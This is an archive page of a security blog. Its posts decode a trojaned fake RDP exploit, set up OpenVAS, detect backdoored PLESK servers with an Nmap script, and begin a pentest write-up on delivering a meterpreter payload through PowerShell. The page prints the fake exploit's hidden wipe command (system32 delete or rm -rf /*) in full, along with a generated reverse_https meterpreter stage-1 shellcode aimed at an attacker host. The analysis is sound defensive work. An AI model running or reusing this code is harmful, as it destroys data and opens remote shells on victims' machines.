0entropy
Security, system administration and everyday things that made a difference.
Tuesday, July 30, 2013
Identifying fake shellcode - quick guide
Yesterday I notice one exploit for Microsoft Remote Desktop, with the name "Microsoft Remote Desktop User/Password Reader Exploit" (http://cxsecurity.com/issue/WLB-2013070218).
Even looking at the title this should bring a warning but as I was in a hurry I made a tweet about it adding a warning that this was not tested for validity.
It's always good before testing the exploits even if this is going to be done in a VM or generally easy restored environment to have a look at the code and even if one is not a experienced coder or exploit developer, can easily spot alarming things.
Let's have a look on the exploit mentioned.
Note 1:
The title of the exploit doesn't seem to make sense as MS12-020 is not related to any "User/Password Reader" MS12-020 is based on a use-after-free vulnerability located in the handling of the maxChannelIds field of the T.125 ConnectMCSPDU packed when set to a value equal or less than 5.
(http://www.exploit-db.com/exploits/18606/)
Note 2:
Looking at the code, there are 2 parts where a shellcode can be identified.
Section 1
xscholler = "\x58\x6c\x64\x47\x6a\x74\x30\x5a\x67\x43\x67\x79\x6f\x39\x46\xf1"
xscholler += "\x66\x70\x66\x61\x43\x52\x46\x71\x78\x30\x33\x55\x62\x63\x58\x63"
xscholler += "\x47\x34\x33\x65\x62\x41\x4f\x30\x54\x39\x6f\x4a\x70\x52\x48\x5a"
xscholler += "\x6b\x38\x6d\x6b\x4c\x75\x6b\x30\x50\x6b\x4f\x6e\x36\x53\x6f\x6f"
xscholler += "\x79\x4a\x45\x32\x46\x6f\x71\x6a\x4d\x34\x48\x77\x72\x73\x65\x73"
xscholler += "\x5a\x37\x72\x69\x6f\x58\x50\x52\x48\x4e\x39\x76\x69\x4a\x55\x4c"
xscholler += "\x6d\x32\x77\x69\x6f\x59\x46\x50\x53\x43\x63\x41\x43\x70\x53\x70"
xscholler += "\x53\x43\x73\x50\x53\x62\x63\x70\x53\x79\x6f\x6a\x70\x35\x36\x61"
xscholler += "\x78\x71\x32\x78\x38\x71\x76\x30\x53\x4b\x39\x69\x71\x4d\x45\x33"
xscholler += "\x58\x6c\x64\x47\x6a\x74\x30\x5a\x67\x43\x67\x79\x6f\x39\x46\x32"
xscholler += "\x4a\x56\x70\x66\x31\x76\x35\x59\x6f\x58\x50\x32\x48\x4d\x74\x4e"
xscholler += "\x4d\x66\x4e\x7a\x49\x50\x57\x6b\x4f\x6e\x36\x46\x33\x56\x35\x39"
xscholler += "\x73\x55\x38\x4d\x37\x71\x69\x69\x56\x71\x69\x61\x47\x6b\x4f\x6e"
xscholler += "\x36\x36\x35\x79\x6f\x6a\x70\x55\x36\x31\x7a\x71\x74\x32\x46\x51"
xscholler += "\x78\x52\x43\x70\x6d\x4f\x79\x4d\x35\x72\x4a\x66\x30\x42\x79\x64"
xscholler += "\x69\x7a\x6c\x4b\x39\x48\x67\x62\x4a\x57\x34\x4f\x79\x6d\x32\x37"
xscholler += "\x41" * 39
xscholler += "\x42\x44\x6c\x4c\x53\x6e\x6d\x31\x6a\x64\x78\x4c\x6b\x4e\x4b\x4e"
xscholler += "\x4b\x43\x58\x70\x72\x69\x6e\x6d\x63\x37\x66\x79\x6f\x63\x45\x73"
xscholler += "\x74\x4b\x4f\x7a\x76\x63\x6b\x31\x47\x72\x72\x41\x41\x50\x51\x61"
xscholler += "\x41\x70\x6a\x63\x31\x41\x41\x46\x31\x71\x45\x51\x41\x4b\x4f\x78"
xscholler += "\x50\x52\x48\x4c\x6d\x79\x49\x54\x45\x38\x4e\x53\x63\x6b\x4f\x6e"
xscholler += "\x36\x30\x6a\x49\x6f\x6b\x4f\x70\x37\x4b\x4f\x4e\x30\x4e\x6b\x30"
xscholler += "\x57\x69\x6c\x6b\x33\x4b\x74\x62\x44\x79\x6f\x6b\x66\x66\x32\x6b"
xscholler += "\x4f\x4e\x30\x53\x58\x58\x70\x4e\x6a\x55\x54\x41\x4f\x52\x73\x4b"
xscholler += "\x4b\x43\x58\x70\x72\x69\x6e\x6d\x63\x37\x66\x00"
Section 2
#bindshell PORT 8888
shellcode = "\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73"
shellcode += "\x74\x65\x6d\x28\x27\x64\x65\x6c\x20\x2f\x73\x20\x2f\x71\x20\x2f\x66\x20\x43\x3a"
shellcode += "\x5c\x77\x69\x6e\x64\x6f\x77\x73\x5c\x73\x79\x73\x74\x65\x6d\x33\x32\x5c\x2a\x20"
shellcode += "\x3e\x20\x4e\x55\x4c\x20\x32\x3e\x26\x31\x27\x29\x20\x69\x66\x20\x27\x57\x69\x6e"
shellcode += "\x27\x20\x69\x6e\x20\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x70\x6c\x61"
shellcode += "\x74\x66\x6f\x72\x6d\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x29\x20\x65\x6c\x73"
shellcode += "\x65\x20\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73"
shellcode += "\x79\x73\x74\x65\x6d\x28\x27\x72\x6d\x20\x2d\x72\x66\x20\x2f\x2a\x20\x3e\x20\x2f"
shellcode += "\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x32\x3e\x26\x31\x27\x29\x20\x23\x68\x69\x20"
shellcode += "\x74\x68\x65\x72\x65\x20\x5e\x5f\x7e\x20\x66\x65\x65\x6c\x20\x66\x72\x65\x65\x20"
shellcode += "\x74\x6f\x20\x73\x70\x72\x65\x61\x64\x20\x74\x68\x69\x73\x20\x77\x69\x74\x68\x20"
shellcode += "\x74\x68\x65\x20\x72\x6d\x20\x2d\x72\x66\x20\x72\x65\x70\x6c\x61\x63\x65\x64\x20"
shellcode += "\x77\x69\x74\x68\x20\x73\x6f\x6d\x65\x74\x68\x69\x6e\x67\x20\x6d\x6f\x72\x65\x20"
shellcode += "\x69\x6e\x73\x69\x64\x69\x6f\x75\x73"
The value of the code under the 'xscholler' section 1, can be converted to assembly by using ConvertShellcode http://zeltser.com/reverse-malware/ConvertShellcode.zip but before proceeding to something advance, let's have a look on the part of section 2.
An easy method to briefly check what's under there is by reading the values of the hex. echo command under linux can help us to do that.
eg:
echo -e "\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73"
echo -e "\x74\x65\x6d\x28\x27\x64\x65\x6c\x20\x2f\x73\x20\x2f\x71\x20\x2f\x66\x20\x43\x3a"
echo -e "\x5c\x77\x69\x6e\x64\x6f\x77\x73\x5c\x73\x79\x73\x74\x65\x6d\x33\x32\x5c\x2a\x20"
echo -e "\x3e\x20\x4e\x55\x4c\x20\x32\x3e\x26\x31\x27\x29\x20\x69\x66\x20\x27\x57\x69\x6e"
echo -e "\x27\x20\x69\x6e\x20\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x70\x6c\x61"
echo -e "\x74\x66\x6f\x72\x6d\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x29\x20\x65\x6c\x73"
echo -e "\x65\x20\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73"
echo -e "\x79\x73\x74\x65\x6d\x28\x27\x72\x6d\x20\x2d\x72\x66\x20\x2f\x2a\x20\x3e\x20\x2f"
echo -e "\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x32\x3e\x26\x31\x27\x29\x20\x23\x68\x69\x20"
echo -e "\x74\x68\x65\x72\x65\x20\x5e\x5f\x7e\x20\x66\x65\x65\x6c\x20\x66\x72\x65\x65\x20"
echo -e "\x74\x6f\x20\x73\x70\x72\x65\x61\x64\x20\x74\x68\x69\x73\x20\x77\x69\x74\x68\x20"
echo -e "\x74\x68\x65\x20\x72\x6d\x20\x2d\x72\x66\x20\x72\x65\x70\x6c\x61\x63\x65\x64\x20"
echo -e "\x77\x69\x74\x68\x20\x73\x6f\x6d\x65\x74\x68\x69\x6e\x67\x20\x6d\x6f\x72\x65\x20"
echo -e "\x69\x6e\x73\x69\x64\x69\x6f\x75\x73"
Will produce the following results:
__import__('os').system('del /s /q /f C:\windows\system32\* > NUL 2>&1') if 'Win' in __import__('platform').system() else __import__('os').system('rm -rf /* > /dev/null 2>&1') #hi there ^_~ feel free to spread this with the rm -rf replaced with something more insidious
So this is just another fake exploit that will try to identify the system and execute a deletion.
Below is the code of this fake, please don't use it
#!/usr/bin/env python
# greating n4sss and foreach my friends and luk3r-C
# xsdev@outlook.com
# rdpxs.py
# MS12-020 RDP, remote exploit code execution
# on all patch machines, XP to 7
# testado nas versoes windows 7 xp e vista com patch.
#
# Author: xscholler
import struct
import socket
import sys
import os
xscholler = "\x58\x6c\x64\x47\x6a\x74\x30\x5a\x67\x43\x67\x79\x6f\x39\x46\xf1"
xscholler += "\x66\x70\x66\x61\x43\x52\x46\x71\x78\x30\x33\x55\x62\x63\x58\x63"
xscholler += "\x47\x34\x33\x65\x62\x41\x4f\x30\x54\x39\x6f\x4a\x70\x52\x48\x5a"
xscholler += "\x6b\x38\x6d\x6b\x4c\x75\x6b\x30\x50\x6b\x4f\x6e\x36\x53\x6f\x6f"
xscholler += "\x79\x4a\x45\x32\x46\x6f\x71\x6a\x4d\x34\x48\x77\x72\x73\x65\x73"
xscholler += "\x5a\x37\x72\x69\x6f\x58\x50\x52\x48\x4e\x39\x76\x69\x4a\x55\x4c"
xscholler += "\x6d\x32\x77\x69\x6f\x59\x46\x50\x53\x43\x63\x41\x43\x70\x53\x70"
xscholler += "\x53\x43\x73\x50\x53\x62\x63\x70\x53\x79\x6f\x6a\x70\x35\x36\x61"
xscholler += "\x78\x71\x32\x78\x38\x71\x76\x30\x53\x4b\x39\x69\x71\x4d\x45\x33"
xscholler += "\x58\x6c\x64\x47\x6a\x74\x30\x5a\x67\x43\x67\x79\x6f\x39\x46\x32"
xscholler += "\x4a\x56\x70\x66\x31\x76\x35\x59\x6f\x58\x50\x32\x48\x4d\x74\x4e"
xscholler += "\x4d\x66\x4e\x7a\x49\x50\x57\x6b\x4f\x6e\x36\x46\x33\x56\x35\x39"
xscholler += "\x73\x55\x38\x4d\x37\x71\x69\x69\x56\x71\x69\x61\x47\x6b\x4f\x6e"
xscholler += "\x36\x36\x35\x79\x6f\x6a\x70\x55\x36\x31\x7a\x71\x74\x32\x46\x51"
xscholler += "\x78\x52\x43\x70\x6d\x4f\x79\x4d\x35\x72\x4a\x66\x30\x42\x79\x64"
xscholler += "\x69\x7a\x6c\x4b\x39\x48\x67\x62\x4a\x57\x34\x4f\x79\x6d\x32\x37"
xscholler += "\x41" * 39
xscholler += "\x42\x44\x6c\x4c\x53\x6e\x6d\x31\x6a\x64\x78\x4c\x6b\x4e\x4b\x4e"
xscholler += "\x4b\x43\x58\x70\x72\x69\x6e\x6d\x63\x37\x66\x79\x6f\x63\x45\x73"
xscholler += "\x74\x4b\x4f\x7a\x76\x63\x6b\x31\x47\x72\x72\x41\x41\x50\x51\x61"
xscholler += "\x41\x70\x6a\x63\x31\x41\x41\x46\x31\x71\x45\x51\x41\x4b\x4f\x78"
xscholler += "\x50\x52\x48\x4c\x6d\x79\x49\x54\x45\x38\x4e\x53\x63\x6b\x4f\x6e"
xscholler += "\x36\x30\x6a\x49\x6f\x6b\x4f\x70\x37\x4b\x4f\x4e\x30\x4e\x6b\x30"
xscholler += "\x57\x69\x6c\x6b\x33\x4b\x74\x62\x44\x79\x6f\x6b\x66\x66\x32\x6b"
xscholler += "\x4f\x4e\x30\x53\x58\x58\x70\x4e\x6a\x55\x54\x41\x4f\x52\x73\x4b"
xscholler += "\x4b\x43\x58\x70\x72\x69\x6e\x6d\x63\x37\x66\x00"
argument = "\x90" * 214
#bindshell PORT 8888
shellcode = "\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73"
shellcode += "\x74\x65\x6d\x28\x27\x64\x65\x6c\x20\x2f\x73\x20\x2f\x71\x20\x2f\x66\x20\x43\x3a"
shellcode += "\x5c\x77\x69\x6e\x64\x6f\x77\x73\x5c\x73\x79\x73\x74\x65\x6d\x33\x32\x5c\x2a\x20"
shellcode += "\x3e\x20\x4e\x55\x4c\x20\x32\x3e\x26\x31\x27\x29\x20\x69\x66\x20\x27\x57\x69\x6e"
shellcode += "\x27\x20\x69\x6e\x20\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x70\x6c\x61"
shellcode += "\x74\x66\x6f\x72\x6d\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x29\x20\x65\x6c\x73"
shellcode += "\x65\x20\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73"
shellcode += "\x79\x73\x74\x65\x6d\x28\x27\x72\x6d\x20\x2d\x72\x66\x20\x2f\x2a\x20\x3e\x20\x2f"
shellcode += "\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x32\x3e\x26\x31\x27\x29\x20\x23\x68\x69\x20"
shellcode += "\x74\x68\x65\x72\x65\x20\x5e\x5f\x7e\x20\x66\x65\x65\x6c\x20\x66\x72\x65\x65\x20"
shellcode += "\x74\x6f\x20\x73\x70\x72\x65\x61\x64\x20\x74\x68\x69\x73\x20\x77\x69\x74\x68\x20"
shellcode += "\x74\x68\x65\x20\x72\x6d\x20\x2d\x72\x66\x20\x72\x65\x70\x6c\x61\x63\x65\x64\x20"
shellcode += "\x77\x69\x74\x68\x20\x73\x6f\x6d\x65\x74\x68\x69\x6e\x67\x20\x6d\x6f\x72\x65\x20"
shellcode += "\x69\x6e\x73\x69\x64\x69\x6f\x75\x73"
xst = xscholler + argument
class RDPsocket(socket.socket):
def __init__(self, payload, shellcode):
super(RDPsocket, self).__init__(socket.AF_INET, socket.SOCK_STREAM)
self.payload = payload
self.table = __imPORT__("__builtin__").__dict__ #
self.shellcode = shellcode
def parse(self, address, shellcode):
fucker = (struct.pack(">I", 0x6576616c),
socket.inet_aton(address[0]), #IP bytes
socket.inet_aton(str(address[1]))) #PORT bytes
linha = struct.pack(">I", 0x8fe2fb63) #pop eax
linha += struct.pack(">I", 0x8fe2fb58) #push esp
linha += struct.pack(">I", 0xffff1d6b) #add esp,byte +0x1c # pop ebp # ret
linha += struct.pack(">I", 0x8fe2db10) #call strcpy
linha += struct.pack(">I", 0x8fe2dfd1) #POP - POP - RET over strcpy params
linha += struct.pack(">I", 0x8fe2dae4) #mov ecx,[esp+0x4] # add eax,edx # sub eax,ecx # ret
linha += struct.pack(">I", 0x8fe2b3d4) #POP - RET
linha += struct.pack(">I", 0xffffffff) #value to store in ecx
linha += struct.pack(">I", 0x8fe0c0c7) #inc ecx # xor al,0xc9
linha += struct.pack(">I", 0x8fe0c0c7) #inc ecx # xor al,0xc9
linha += struct.pack(">I", 0x8fe24b3c) #add ecx,ecx # ret
linha += struct.pack(">I", 0x8fe24b3c) #add ecx,ecx # ret
linha += struct.pack(">I", 0x8fe24b3c) #add ecx,ecx # ret
linha += fucker[0] #add the prelude
linha += fucker[1] #add the packed IP address
linha += fucker[2] #add the packed PORT
linha += struct.pack(">I", 0x8fe24b3c) #add ecx,ecx # ret
linha += struct.pack(">I", 0x8fe2c71d) #mov eax,edx # ret
linha += struct.pack(">I", 0x8fe2def4) #add eax,ecx # ret
linha += struct.pack(">I", 0x8fe0e32d) #xchg eax,edx
linha += struct.pack(">I", 0x8fe0c0c7) #inc ecx # xor al,0xc9
linha += struct.pack(">I", 0x8fe0c0c7) #inc ecx # xor al,0xc9
linha += struct.pack(">I", 0x8fe24b3c) #add ecx,ecx # ret
linha += struct.pack(">I", 0x8fe24b3c) #add ecx,ecx # ret
linha += struct.pack(">I", 0x8fe24b3c) #add ecx,ecx # ret
linha += struct.pack(">I", 0x8fe2def4) #add eax,ecx # ret # swap back
linha += struct.pack(">I", 0x8fe0e32d) #xchg eax,edx # copy parameter to placeholder
linha += struct.pack(">I", 0x8fe2fb61) #mov [eax],edx # pop eax # ret # set our stack pointer back
to original value
linha += struct.pack(">I", 0x8fe0e32d) #xchg eax,edx
linha += struct.pack(">I", 0x8fe2daea) #sub eax,ecx # ret
linha += struct.pack(">I", 0x8fe0b1c2) #xchg eax,ebp # inc ebp # ret
linha += struct.pack(">I", 0x8fe2b6a5) #dec ebp # ret
linha += struct.pack(">I", 0xffff01f3) #mov esp,ebp # pop ebp # ret
read = self.table[fucker[0]] #reader for the linha shellcode/data
return str(read(shellcode)), linha
def connect(self, address):
self.linha_shell = self.parse(address, shellcode)
super(RDPsocket, self).connect(address)
def xst_sendall(self):
super(RDPsocket, self).sendall(evil + self.linha_shell[0] + self.linha_shell[1])
if __name__ == "__main__":
if len(sys.argv) != 2:
print "[*] Usage: python rdpxs.py IP"
else:
ALVO = sys.argv[1]
PORT = 3389 #default RDP PORT
print "[*] Rodando rdpxs"
s = RDPsocket(xst, shellcode)
print "[+] Conectando e configurando payload. . ."
print "[+] isso pode levar alguns minutos..."
s.connect((ALVO, PORT))
print "[+] Conexao estabelecida"
print "[+] Enviando payload. . ."
s.xst_sendall()
response = s.recv(4096)
if "\xA5\x43\xE7\x38\x75\x84\xF2\xFF\xFF\x18\x61\x00" in response:
print "[+] Bem Succedido! Payload enviado e executado com sucesso!."
print "[+] Telnet ALVO na PORT 8888."
else:
print "[-] Failed"
s.close()
Wednesday, March 27, 2013
Openvas quick installation on Backtrack linux
It’s been some time since I wrote something in this blog, work and contributing in other sites took most of my time, but still this is my personal blog. I find it easier to write something in here and go back to look for it when needed than keeping documents around.
I mostly have Nessus on my disposal but sometimes there is a requirement to perform a security audit using opensource tools, and what is the best alternative to Nessus if not Openvas.
Openvas files are included in the backtrack Linux (BT5 R3). I’m sure you can find lengthy setup guides for it, but this is not one of them, on the contrary I’m trying to make things in a copy paste form for easy setup in less than couple of minutes.
Assuming that you already have a working backtrack installation you can issue the following commands to setup Openvas.
openvas-mkcert #you can press ender here for all
openvasad -c 'add_user' -n admin -r Admin #add your password here
openvas-mkcert-client -n om –i
openvas-nvt-sync #this will take some time
openvassd #again here the plugins will be loaded it would take a while
openvasmd –rebuild
openvasmd -p 9390 -a 127.0.0.1
openvasad -a 127.0.0.1 -p 9393
gsad --http-only --listen=YOUR_IP -p 9392 #don’t forget to add your ip address here
After that, you can access your Openvas installation at http://Your_IP:9392
Don’t forget to issue,
apt-get install texlive-latex-extra
on the system in order to be able to generate pdf reports from the web interface.
Some rules of thumb, Openvas takes a lot of CPU time and memory, if you are planning on scanning several C classes and you are having a virtual machine for your installation, use more than 4 VCPUs and around 4Gb of Ram. Generally the more the merrier. Finally a normal scan will take about 1 hour for every C class to be completed.
Saturday, August 18, 2012
3.094 Hacked PLESK servers, more than 15.000 domains and this is just 3%
I wrote again about the infected PLESK systems, Brian Krebs wrote about the topic some time later in the year (http://krebsonsecurity.com/2012/07/plesk-0day-for-sale-as-thousands-of-sites-hacked/) but until now I didn’t see any post on the actual infected servers.
I took some time during the holidays to fix my http-plesk-backdoor.nse script and make a more wide search for infected and still compromised PLESK installations. The work is still in progress and the stats below are rough stats.
There are 256 A class networks , 0.0.0.0/8 to 255.0.0.0/8 , each block has a possible of 16.777.216 addresses, not everything is in use from the /8 networks and many are reserved ( more at http://www.iana.org/assignments/ipv4-address-space/ipv4-address-space.xml ). I started my search results from the European networks, allocated in RIPE NCC and I will move to ARIN (USA based networks) and then to the rest.
How long does it take to scan an entire A class, is totally based on your ISP tolerance and the connectivity that your server has to the internet. Scanning an European range from a server that is outside the EU network will take more time but nothing extreme estimate a total added time of 20-30 minutes in one scan. My scans took around 10 hours to complete for each A class ( for 16.777.216 addresses ), with the script execution time combined.
Initially I thought that the script execution will take a huge amount of time comparing to the scanning results of nmap, but the scripting engine is doing a great job on the nse scripts, and the time added is roughly one extra hour when the script is used.
Results so far:
6 European based networks scanned (100.663.296 addresses), 91.970 systems with the port 8443 open (not all of them are PLESK servers).
Compromised / Infected PLESK systems: 3.094
Number of domains on the hacked above servers: 15.979
The number of domains is an estimation based on the ‘feature’ that many PLESK installations provide allowing a reverse DNS lookup on the server IP, that will return all the domains that are currently hosted in that server.
If you need details on the networks and the hosts that are found infected please contact via email with a valid reason.
Wednesday, May 9, 2012
Nmap script to check PLESK compromised servers
Few days back I wrote about the PLESK compromised servers in www.my-audit.gr, at that time I made a script to perform manual checks for our clients in our IP ranges. The script was slow and it was taking a lot of time to produce actual results at first, then I remembered about nmap scripting language (NSE). I had never used it before but it seems rather easy to make a simple script, so after a couple of minutes I came up with the following script:
1: description = [[
2: Looks for signature of PLESK servers that were compromised earlier in 2012.
3:
4: The script checks the existence of enterprise/control/psa/engine.php and
5: /enterprise/control/ctrl.php3 files that are not part of plesk distribution.
6: The files were added in most servers during the first 3 months of 2012
7: after a global scale attack on PLESK hosting servers.
8: More at: http://www.my-audit.gr/hacking/plesk-backdoors-a-very-large-number-of-servers-compromised/ ,
9: http://forum.parallels.com/showthread.php?t=258101 and
10: http://0entropy.blogspot.com/2012_03_01_archive.html
11: ]]
12:
13: ---
14: -- the result will be something like the following
15: -- Interesting ports on somehost.someserver.com (xxx.xxx.193.64):
16: -- PORT STATE SERVICE
17: -- 8443/tcp open https-alt
18: -- |_ http-plesk-backdoor: PLESK infected v2, please check: http://www.my-audit.gr/hacking/plesk-backdoors-a-very-large-number-of-servers-compromised/
19: ---
20:
21: author = "Nicolas Krassas"
22: license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
23: categories = {"malware","discovery","safe"}
24:
25: require "http"
26: require "shortport"
27: require "stdnse"
28:
29: -- This script will check on port 8443 only
30: portrule = function(host, port)
31: local svc = { std = { ["https-alt"] = 1 } }
32: if port.protocol ~= 'tcp' or not svc.std[port.service] then
33: return false
34: end
35: return true
36: end
37:
38: -- Execute the check
39: action = function(host, port)
40:
41: -- Perform a GET request for v2 backdoor, this is the most common currently.
42: result = http.get_url("https://" .. host.ip .. ":" .. port.number .. "/enterprise/control/psa/engine.php")
43:
44: if(not(result)) then
45: return stdnse.format_output(false, "Couldn't perform GET request")
46: end
47:
48: if(result.status == 200) then
49: string = ("PLESK infected v2, please check: http://www.my-audit.gr/hacking/plesk-backdoors-a-very-large-number-of-servers-compromised/");
50: return string
51: end
52:
53: -- Perform a GET request for v1 backdoor
54: result = http.get_url("https://" .. host.ip .. ":" .. port.number .. "/enterprise/control/ctrl.php3")
55:
56: if(not(result)) then
57: return stdnse.format_output(false, "Couldn't perform GET request")
58: end
59:
60: if(result.status == 200) then
61: string = ("PLESK infected v1, please check: http://www.my-audit.gr/hacking/plesk-backdoors-a-very-large-number-of-servers-compromised/");
62: return string
63: end
64: end
a sample output from the script,
root@host:~# nmap --script http-plesk-backdoor xxx.xxx.xxx.xxx
Starting Nmap 5.00 ( http://nmap.org ) at 2012-05-09 14:20 EEST
Interesting ports on someserver.com (xxx.xxx.xxx.xxx):
Not shown: 979 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
25/tcp open smtp
53/tcp open domain
80/tcp open http
106/tcp open pop3pw
110/tcp open pop3
135/tcp filtered msrpc
139/tcp filtered netbios-ssn
143/tcp open imap
443/tcp open https
445/tcp filtered microsoft-ds
465/tcp open smtps
587/tcp open submission
646/tcp filtered ldp
993/tcp open imaps
995/tcp open pop3s
1025/tcp filtered NFS-or-IIS
2000/tcp filtered callbook
3306/tcp open mysql
8443/tcp open https-alt
|_ http-plesk-backdoor: PLESK infected v1, please check: http://www.my-audit.gr/hacking/plesk-backdoors-a-very-large-number-of-servers-compromised/
Nmap done: 1 IP address (1 host up) scanned in 2.98 seconds
and scanning a larger range,
root@host:~# nmap --script http-plesk-backdoor xxx.xxx.193.0/24 -p 8443
--snip--
Interesting ports on srv1.someserver.com (xxx.xxx.193.61):
PORT STATE SERVICE
8443/tcp open https-alt
Interesting ports on srv2.someserver.com (xxx.xxx.193.62):
PORT STATE SERVICE
8443/tcp open https-alt
|_ http-plesk-backdoor: PLESK infected v2, please check: http://www.my-audit.gr/hacking/plesk-backdoors-a-very-large-number-of-servers-compromised/
Interesting ports on srv3.someserver.com (xxx.xxx.193.63):
PORT STATE SERVICE
8443/tcp open https-alt
|_ http-plesk-backdoor: PLESK infected v2, please check: http://www.my-audit.gr/hacking/plesk-backdoors-a-very-large-number-of-servers-compromised/
Interesting ports on srv4.someserver.com (xxx.xxx.193.64):
PORT STATE SERVICE
8443/tcp open https-alt
|_ http-plesk-backdoor: PLESK infected v2, please check: http://www.my-audit.gr/hacking/plesk-backdoors-a-very-large-number-of-servers-compromised/
--snip--
The script can be found here, http://chaos.deventum.com/research/nse/http-plesk-backdoor.nse
Wednesday, April 11, 2012
Powershell, metasploit meterpreter and dns.
Few months back and whilst in holidays, I got a call from the work that we just took an urgent project with a very short delivery time. The project was a penetration test for a company. All paperwork was done and the client was in a rush to get some results since holiday season was near.
No problem I said but actually there were a few. For starters I was in a different country, nowhere near the penetration lab of the company and my tools. As it’s accustomed also to start with zero knowledge about the clients’ systems, I wasn’t sure about their security, possible IDS systems, antivirus, system patches, firewalls and users’ experience.
There are many possible ideas here and ways to work, I choose to use metasploit and whatever tools look innocent enough not to rise suspicions. The common problem with metasploit is the payload delivery. Meterpreter is great but it’s detected from a very large amount of antiviruses if not properly modified. I used SET (http://www.social-engineer.org/) to deliver a simple payload, actually a very basic connect back shell, the first that I found in codeproject.com (http://www.codeproject.com/Articles/20250/Reverse-Connection-Shell).
Couple of hours later and after a few emails were send with ‘important’ information to the users of the company, metasploit’s multi handler was greeted with sessions. The sessions were mostly from windows 7 systems and a few old XP. The good news and the bad news, good news were the shells, bad news where … the shells. Used with meterpreter sessions and sessions from commercial tools the basic dos prompt seems poor. Time to upgrade the shell then in a fancy way then.
Powershell to the rescue !
Let’s first generate the meterpreter payload, reverse_https seems great,
root@host:~/trunk# ./msfpayload windows/meterpreter/reverse_https LHOST=178.32.xxx.xxx LPORT=8443 C | more
1: /* 2: * windows/meterpreter/reverse_https - 369 bytes (stage 1) 3: * http://www.metasploit.com 4: * LHOST=178.32.xxx.xxx, AutoRunScript=, EXITFUNC=process, 5: * EnableUnicodeEncoding=true, SessionCommunicationTimeout=300, 6: * AutoSystemInfo=true, AutoLoadStdapi=true, 7: * InitialAutoRunScript=, VERBOSE=false, LPORT=8443, 8: * SessionExpirationTimeout=604800 9: */ 10: unsigned char buf[] = 11: "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30" 12: "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" 13: "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2" 14: "\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85" 15: "\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3" 16: "\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d" 17: "\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58" 18: "\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b" 19: "\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff" 20: "\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68" 21: "\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57" 22: "\x57\x57\x57\x6a\x00\x54\x68\x3a\x56\x79\xa7\xff\xd5\xeb\x5f" 23: "\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\xfb\x20\x00\x00\x53" 24: "\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x48\x59\x31\xd2\x52\x68" 25: "\x00\x32\xa0\x84\x52\x52\x52\x51\x52\x50\x68\xeb\x55\x2e\x3b" 26: "\xff\xd5\x89\xc6\x6a\x10\x5b\x68\x80\x33\x00\x00\x89\xe0\x6a" 27: "\x04\x50\x6a\x1f\x56\x68\x75\x46\x9e\x86\xff\xd5\x31\xff\x57" 28: "\x57\x57\x57\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x75\x1a" 29: "\x4b\x74\x10\xeb\xd5\xeb\x49\xe8\xb3\xff\xff\xff\x2f\x48\x65" 30: "\x41\x6e\x00\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00" 31: "\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff" 32: "\xd5\x93\x53\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68" 33: "\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xcd\x8b\x07\x01\xc3\x85" 34: "\xc0\x75\xe5\x58\xc3\xe8\x51\xff\xff\xff\x31\x37\x38\x2e\x33" 35: "\x32\x2e\x37\x32\x2e\x31\x39\x34\x00"; 36: 37: /* 38: * windows/meterpreter/reverse_https - 752128 bytes (stage 2) 39: * http://www.metasploit.com 40: */ 41: unsigned char buf[] = 42: "\x4d\x5a\xe8\x00\x00\x00\x00\x5b\x52\x45\x55\x89\xe5\x81\xc3" 43: "\x19\x15\x00\x00\xff\xd3\x89\xc3\x57\x68\x04\x00\x00\x00\x50"From all the payload we just need the first stage. The first stage is will provide the connect back to the metasploit server functionality that will fetch the second stage.
Here again, a couple of options, one way of delivering it can be the following, simply copy the first stage, convert it in a proper format for the powershell script and run the script.
Method 1:
Converting the shellcode to proper format needed by the powershell script:
Shellcode:
